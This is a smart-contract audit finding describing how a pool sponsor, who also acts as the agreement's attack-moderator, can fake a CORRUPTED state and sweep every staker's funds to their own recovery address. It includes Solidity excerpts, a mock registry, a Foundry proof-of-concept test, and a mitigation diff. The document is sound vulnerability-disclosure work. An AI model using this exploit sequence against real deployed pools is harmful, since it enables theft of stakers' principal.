
A pool sponsor is the agreement's attack-moderator and can manufacture a CORRUPTED state to sweep every staker's principal to their own recoveryAddress

Description

Confidence pools let stakers underwrite an agreement. On a genuine in-scope breach the DAO trusted outcome-moderator flags `PoolStates.Outcome.CORRUPTED` and the pool is swept to the sponsor's `recoveryAddress`; however if that moderator is ever unavailable, a permissionless back-stop in `ConfidencePool::claimExpired()` resolves a `CORRUPTED` registry to bad-faith `CORRUPTED` after a 180-day grace so funds are never trapped.

The pool trusts the registry's `CORRUPTED` state as proof that a breach occurred, but on the real `AttackRegistry` the agreement's attack-moderator is the agreement owner, and the pool sponsor is that owner (enforced at `createPool`). The attack-moderator can call `markCorrupted()` with no exploit whatsoever. Because the sponsor also owns `recoveryAddress`, they can manufacture `CORRUPTED`, wait out the grace, and drain every staker to themselves — the scope-blind auto-resolution never checks who caused the state or whether any breach actually happened.

Root cause — `ConfidencePool::claimExpired()` is callable by anyone once the grace of 180 days elapses

```
// no moderator judgement on this path – it is permissionless
IAttackRegistry.ContractState state = _observePoolState();
// ...
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart !=
    ↪ 0) {
    if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
        revert AgreementCorruptedAwaitingModerator();
    }
    outcome = PoolStates.Outcome.CORRUPTED;
    outcomeFlaggedAt = riskWindowEnd;
    corruptedReserve = snapshotTotalStaked + snapshotTotalBonus; // the
    ↪ WHOLE pool
    claimsStarted = true; // claimCorrupted() -> recoveryAddress
    emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false,
    ↪ address(0));
    return;
}
```

The CORRUPTED state it trusts is set by the sponsor, in the parent AttackRegistry:

```
// AttackRegistry._registerAgreement – the sponsor's own requestUnderAttack
↪ makes them the moderator
attackModerator: agreementOwner,
// AttackRegistry.markCorrupted – onlyAttackModerator, and NO proof of any
↪ exploit is required
function markCorrupted(address agreementAddress) external
↪ onlyAttackModerator(agreementAddress) {
    ContractState currentState = _getAgreementState(agreementAddress);
    if (currentState != ContractState.UNDER_ATTACK && currentState !=
↪ ContractState.PROMOTION_REQUESTED) {
        revert AttackRegistry__InvalidState(currentState);
    }
    s_agreementInfo[agreementAddress].corrupted = true;
}
```

And ConfidencePoolFactory::createPool() guarantees the sponsor and the attack-moderator are the same account:

```
if (IAgreement(agreement).owner() != msg.sender) revert
↪ UnauthorizedCreator();
```

Why this is not the accepted §6 / §11 trust assumption

The design anticipates some staker loss on this path, but not this one:

§6's justification for the loss does not hold here. §6 keeps the scope-blind backstop because “the inverse default (principal-returning EXPIRED) is not strictly safer — it would let genuine in-scope corruption escape punishment.” That reasoning presumes a real breach happened and was merely out of the pool's scope. In this attack no breach happens at all — the sponsor fabricates CORRUPTED — so there is no “genuine in-scope corruption” for the EXPIRED default to let escape. The single argument the design offers for accepting the loss collapses.

§11 trusts the DAO registry, not the sponsor. §11 treats the SafeHarborRegistry / AttackRegistry as a “trusted, protocol-DAO-controlled singleton.” But the per-agreement CORRUPTED transition is not produced by that trusted infrastructure — it is produced by the agreement's attackModerator, which AttackRegistry sets to the agreement owner (the sponsor), an adversary with respect to stakers. The pool treats an adversary-controlled input as trusted proof of a breach.

§10 assumes a moderator in the loop. §10 documents that recoveryAddress receives the pool under bad-faith CORRUPTED, but through the DAO outcome-moderator's judgement. The permissionless backstop has no such judgement, so it lets a single account both fabricate the CORRUPTED state

and receive the funds — a self-dealing composition none of the documented flows contemplate together.

Risk

Likelihood

The sponsor points recoveryAddress at their own wallet and, once the DAO approves attack mode for their agreement (the normal, expected lifecycle step), calls markCorrupted() on their own agreement with no exploit — they are the attack-moderator by construction, so this lever is in their hands for every pool they sponsor.

The DAO outcome-moderator stays unavailable across the full expiry + 180 day window — the exact condition the design itself treats as the trigger for the permissionless backstop, which the sponsor engineers by timing markCorrupted and the pool expiry.

Impact

Total, permanent loss of all staked principal and contributed bonus in the pool.

Funds are redirected to the sponsor (self-dealing); under CORRUPTED stakers have no claim path and recover nothing.

Proof of Concept

The test funds a pool, has the sponsor manufacture CORRUPTED with no exploit — through the mock's real markCorrupted(), whose guard is set (allowCorruptAfterProduction = false) to match the on-chain AttackRegistry — waits out the grace, and shows the entire pool land in the sponsor's recoveryAddress:

test/mocks/MockComputedAttackRegistry.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract MockComputedAttackRegistry {
    uint256 public constant PROMOTION_DELAY = 3 days;
    struct Info {
```

```

        IAttackRegistry.ContractState stored; // last explicitly-set
↪ non-production state
        uint64 promotionRequestedTimestamp; // set by promote(); drives the
↪ computed PRODUCTION
        bool corrupted; // set by markCorrupted(); terminal, wins over
↪ everything
    }
    mapping(address agreement => Info) internal _info;
    bool public immutable allowCorruptAfterProduction;
    constructor(bool allowCorruptAfterProduction_) {
        allowCorruptAfterProduction = allowCorruptAfterProduction_;
    }
    // Set a pre-promotion state (NOT_DEPLOYED..UNDER_ATTACK). Clears any
↪ promotion.
    function setState(address agreement, IAttackRegistry.ContractState s)
↪ external {
        _info[agreement].stored = s;
        _info[agreement].promotionRequestedTimestamp = 0;
    }
    // Moderator requests promotion: stamps the clock and starts the 3-day
↪ countdown.
    function promote(address agreement) external {
        _info[agreement].stored =
↪ IAttackRegistry.ContractState.PROMOTION_REQUESTED;
        _info[agreement].promotionRequestedTimestamp =
↪ uint64(block.timestamp);
    }
    // Cancel a pending promotion, returning to UNDER_ATTACK.
    function cancelPromotion(address agreement) external {
        _info[agreement].stored = IAttackRegistry.ContractState.UNDER_ATTACK;
        _info[agreement].promotionRequestedTimestamp = 0;
    }
    // Register a successful whitehat exploit → CORRUPTED (terminal).
    function markCorrupted(address agreement) external {
        if (!allowCorruptAfterProduction) {
            IAttackRegistry.ContractState s = getAgreementState(agreement);
            require(
                s == IAttackRegistry.ContractState.UNDER_ATTACK
                || s == IAttackRegistry.ContractState.PROMOTION_REQUESTED,
                "ComputedAttackRegistry: not attackable"
            );
        }
        _info[agreement].corrupted = true;
    }

```

```

    }
    /// @notice The COMPUTED state the pool reads. CORRUPTED wins; else a
    ↪ matured promotion
    ///         computes PRODUCTION with no transaction; else the stored
    ↪ state.
    function getAgreementState(address agreement) public view returns
    ↪ (IAttackRegistry.ContractState) {
        Info storage i = _info[agreement];
        if (i.corrupted) return IAttackRegistry.ContractState.CORRUPTED;
        if (
            i.promotionRequestedTimestamp != 0
            && block.timestamp >= uint256(i.promotionRequestedTimestamp) +
    ↪ PROMOTION_DELAY
        ) {
            return IAttackRegistry.ContractState.PRODUCTION; // computed –
    ↪ nobody sent a tx
        }
        return i.stored;
    }
}

```

test/foundry/ConfidencePoolTest.t.sol

```

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {ERC1967Proxy} from
    ↪ "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "../src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "../src/ConfidencePoolFactory.sol";
import {PoolStates} from "../src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockComputedAttackRegistry} from
    ↪ "../mocks/MockComputedAttackRegistry.sol";
import {MockSafeHarborRegistry} from "../mocks/MockSafeHarborRegistry.sol";
import {MockERC20} from "../mocks/MockERC20.sol";
import {MockAgreement} from "../mocks/MockAgreement.sol";
contract ConfidencePoolTest is Test {
    address internal alice = address(0xA11CE); // staker / underwriter
    address internal bob = address(0xB0B); // permissionless resolver
    ↪ (non-staker)
}

```

```

    address internal recovery = address(0xBEEF); // CORRUPTED sweep
    ↪ destination (SPONSOR's wallet)
    address internal constant SCOPE = address(0xC0FFEE); // in-scope
    ↪ BattleChain account
    uint256 internal constant ONE = 1e18;
    uint256 internal constant STAKE = 100 * ONE;
    uint256 internal constant START = 1_780_000_000;
    uint256 internal constant TERM = 40 days;
    MockSafeHarborRegistry internal safeHarbor;
    MockComputedAttackRegistry internal attackRegistry;
    MockERC20 internal stakeToken;
    MockAgreement internal agreement;
    ConfidencePoolFactory internal factory;
    address internal poolImpl;
    function setUp() public {
        vm.warp(START);
        vm.roll(23_000_000);
        safeHarbor = new MockSafeHarborRegistry();
        // false = faithful to the REAL registry: markCorrupted gates on the
    ↪ COMPUTED state.
        attackRegistry = new MockComputedAttackRegistry(false);
        safeHarbor.setAttackRegistry(address(attackRegistry));
        stakeToken = new MockERC20();
        agreement = new MockAgreement(address(this)); // owner() == this
    ↪ (the SPONSOR)
        agreement.setContractInScope(SCOPE, true);
        safeHarbor.setAgreementValid(address(agreement), true);
        _setState(IAAttackRegistry.ContractState.NEW_DEPLOYMENT); //
    ↪ pre-attack staging: staking open
        poolImpl = address(new ConfidencePool());
        ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
        factory = ConfidencePoolFactory(
            address(
                new ERC1967Proxy(
                    address(factoryImpl),
                    abi.encodeCall(
                        ConfidencePoolFactory.initialize,
    ↪ (address(safeHarbor), poolImpl, address(0xD0D0))
                    )
                )
            )
        );
        factory.setStakeTokenAllowed(address(stakeToken), true);

```

```

    }
    function testSponsorManufacturedCorruptedStealsStakerFunds() public {
        // Sponsor (== agreement owner) creates the pool with a
        ↪ self-controlled recoveryAddress.
        ConfidencePool pool = ConfidencePool(
            factory.createPool(address(agreement), address(stakeToken),
        ↪ START + TERM, ONE, recovery, _scope())
            );
        // Alice underwrites it.
        stakeToken.mint(alice, STAKE);
        vm.startPrank(alice);
        stakeToken.approve(address(pool), STAKE);
        pool.stake(STAKE);
        vm.stopPrank();
        assertEq(stakeToken.balanceOf(address(pool)), STAKE, "pool funded");
        // Agreement enters attack mode (DAO-approved in prod) -> registry
        ↪ UNDER_ATTACK.
        _setState(IAAttackRegistry.ContractState.UNDER_ATTACK);
        // Anyone seals the risk window, arming the auto-CORRUPTED gate
        ↪ (riskWindowStart != 0).
        pool.pokeRiskWindow();
        assertTrue(pool.riskWindowStart() != 0);
        // SPONSOR manufactures a breach: markCorrupted() with no exploit,
        ↪ exactly as the
        // agreement's attack-moderator would on-chain. Registry ->
        ↪ CORRUPTED.
        attackRegistry.markCorrupted(address(agreement));
        // DAO outcome-moderator stays silent past expiry + 180-day grace.
        vm.warp(START + TERM + pool.MODERATOR_CORRUPTED_GRACE() + 1);
        // Bob (any address) mechanically resolves -> scope-blind auto
        ↪ bad-faith CORRUPTED.
        vm.prank(bob);
        pool.claimExpired();
        assertEq(uint256(pool.outcome()),
        ↪ uint256(PoolStates.Outcome.CORRUPTED));
        // Sweep the whole pool to the sponsor's recoveryAddress.
        uint256 recoveryBefore = stakeToken.balanceOf(recovery);
        vm.prank(bob);
        pool.claimCorrupted();
        // THEFT: every wei of Alice's principal is now the sponsor's; Alice
        ↪ has no claim path.
        assertEq(stakeToken.balanceOf(recovery) - recoveryBefore, STAKE,
        ↪ "sponsor stole the principal");

```

```

        assertEq(stakeToken.balanceOf(address(pool)), 0, "pool fully
↪ drained");
        vm.prank(alice);
        vm.expectRevert(); // no staker claim exists under CORRUPTED
        pool.claimSurvived();
        console2.log("Sponsor recovery received (wei):",
↪ stakeToken.balanceOf(recovery));
    }
    function _scope() internal pure returns (address[] memory a) {
        a = new address[](1);
        a[0] = SCOPE;
    }
    function _setState(IAttackRegistry.ContractState s) internal {
        attackRegistry.setState(address(agreement), s);
    }
}

```

Recommended Mitigation

The permissionless backstop has no moderator judgement and cannot distinguish a genuine in-scope breach from a sponsor-manufactured CORRUPTED, so it must not sweep the pool to the sponsor-controlled recoveryAddress on that unverifiable signal. Remove the scope-blind auto-CORRUPTED branch so a CORRUPTED registry falls through to the staker-favorable EXPIRED default, and reserve CORRUPTED for a live moderator's flagOutcome:

```

-         if (state == IAttackRegistry.ContractState.CORRUPTED &&
↪ riskWindowStart != 0) {
-             if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
-                 revert AgreementCorruptedAwaitingModerator();
-             }
-             outcome = PoolStates.Outcome.CORRUPTED;
-             outcomeFlaggedAt = riskWindowEnd;
-             corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
-             claimsStarted = true;
-             emit OutcomeFlagged(address(0),
↪ PoolStates.Outcome.CORRUPTED, false, address(0));
-             return;
-         }
-
-         if (state == IAttackRegistry.ContractState.PRODUCTION) {
-             outcome = PoolStates.Outcome.SURVIVED;
-             outcomeFlaggedAt = riskWindowEnd;

```

```
        emit OutcomeFlagged(address(0),
↪ PoolStates.Outcome.SURVIVED, false, address(0));
    } else {
        outcome = PoolStates.Outcome.EXPIRED;
        outcomeFlaggedAt = expiry;
        emit OutcomeFlagged(address(0), PoolStates.Outcome.EXPIRED,
↪ false, address(0));
    }
```

Alternatively, keep the backstop but decouple its destination from the sponsor: route the permissionless auto-CORRUPTED sweep to a DAO/neutral escrow instead of recoveryAddress, or make recoveryAddress DAO-set/immutable — so one account can never both trigger CORRUPTED and receive the funds.

Trade-off (docs/DESIGN.md §6)

Removing the backstop means a genuine in-scope breach with a permanently-absent moderator refunds stakers rather than punishing them. That is the safer default precisely because the permissionless path cannot verify scope or breach and must not punish stakers on a signal the sponsor controls.